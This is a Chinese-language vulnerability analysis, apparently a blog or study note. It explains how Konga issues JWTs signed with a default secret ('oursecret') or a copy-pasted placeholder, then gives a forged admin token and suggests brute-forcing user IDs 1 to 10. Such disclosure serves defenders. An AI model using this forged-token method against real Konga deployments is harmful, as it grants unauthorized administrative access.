Konga 任意用户登录 分析
首先是Docker 启动Konga
docker run -p 1334:1337 --name konga2 pantsel/konga
然后注册一个管理员登录进去
会返回一个token。然后利用这个token 是可以访问任意接口的
根据上面的特征。首先找到怎么生成的token
首先找到
然后进入到AuthController.js
发现是通过UID 进行jwt加密返回的
token: sails.services.token.issue(_.isObject(user.id) ? JSON.stringify(user.id) : user.id)
然后跟踪一下jwt加密的时候的key
https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/services/Token.js
module.exports.issue = function issue(payload) { sails.log.verbose(__filename + ':' + __line + ' [Service.Token.issue() called]'); return jwt.sign( payload, // This is the payload we want to put inside the token process.env.TOKEN_SECRET || "oursecret" // Secret string which will be used to sign the token ); };
默认key 是oursecret
然后把获取的token放到jwt.io 中
然后如果是docker启动的。直接复制粘贴过来的那么他的key 为{{somerandomstring}}
docker run -p 1337:1337 –name konga -e “TOKEN_SECRET={{somerandomstring}}” pantsel/konga
那么得到jwt如下
eyJhbGciOiJIUzI1NiJ9.MQ.05_j6ykO7AAAYf7jdieAnxS1H1khQv8E7s125CiIbx4
总结:
1.默认key的危害有点大。
2.利用思路爆破1-10的UID
参考:
漏洞百出知识星球